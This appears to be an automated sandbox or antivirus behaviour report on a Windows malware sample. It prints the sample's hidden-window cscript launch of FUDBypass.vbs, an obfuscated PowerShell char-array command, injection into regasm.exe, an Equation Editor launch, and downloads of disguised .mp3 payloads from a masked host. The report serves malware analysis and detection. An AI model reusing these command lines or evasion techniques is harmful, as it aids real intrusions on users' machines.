Technical Information
Malicious functions
Creates and executes the following (exploit)
- '%WINDIR%\syswow64\cscript.exe' %TEMP%\FUDBypass.vbs A C
Executes the following (exploit)
- '%WINDIR%\syswow64\cmd.exe' /C cscript %tmp%\FUDBypass.vbs A C
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $0730808FB4AAB5807223EA712F9C3073ED166665AA8F9B5657=@(100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,103...
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework\v2.0.50727\regasm.exe
Modifies file system
Creates the following files
- %TEMP%\fudbypass.vbs
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\7dd27c765c7906cc88f1bdec45e1dfb6_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\534ad52bdd75fef134025d6961c5cf69_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d1b6d28861cf4d7a6f521b77506c4189_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\dc3c7ff0820a46a0a3ccb89d71cad61e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d7ef474e35320847fd374ebdf85e18e1_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\afdb2a376f48e5955b8d1346545373ef_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\a0a36202250ac104f152b423c73b6ac2_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\6948dfe60f8690bf57c3942f03a07004_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d53b7075bb21e19e96dcde7f3489a999_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\710699d0a229d6d80d5f2dabc31bab4d_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\2f81a7d6867be536a3623ddd1074e870_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\bc0bce3b3b01f97a4ef9f36fd3238bc5_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d52ceffddaf22948ac31fde3547656d4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\ec1b50a7125dc4f617d2f47b60f26f37_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
Deletes the following files
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\7dd27c765c7906cc88f1bdec45e1dfb6_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\534ad52bdd75fef134025d6961c5cf69_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d1b6d28861cf4d7a6f521b77506c4189_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\dc3c7ff0820a46a0a3ccb89d71cad61e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d7ef474e35320847fd374ebdf85e18e1_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\afdb2a376f48e5955b8d1346545373ef_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\a0a36202250ac104f152b423c73b6ac2_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\6948dfe60f8690bf57c3942f03a07004_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d53b7075bb21e19e96dcde7f3489a999_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\710699d0a229d6d80d5f2dabc31bab4d_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\2f81a7d6867be536a3623ddd1074e870_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\bc0bce3b3b01f97a4ef9f36fd3238bc5_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d52ceffddaf22948ac31fde3547656d4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
- %APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\ec1b50a7125dc4f617d2f47b60f26f37_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
Network activity
TCP
HTTP GET requests
- http://www.as####kasounds.com/upfiles/up_down/92d9573c07001008661c406e2f25ec28.mp3
- http://www.as####kasounds.com/upfiles/up_down/6a4656c97e142a695ca13360d73acd5b.mp3
UDP
- DNS ASK as####kasounds.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /C cscript %tmp%\FUDBypass.vbs A C' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $0730808FB4AAB5807223EA712F9C3073ED166665AA8F9B5657=@(100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,103...' (with hidden window)
Executes the following
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\cmd.exe' /c sc query wcncsvc >> A C
- '%WINDIR%\microsoft.net\framework\v2.0.50727\regasm.exe'
- '%WINDIR%\microsoft.net\framework\v2.0.50727\dw20.exe' -x -s 452
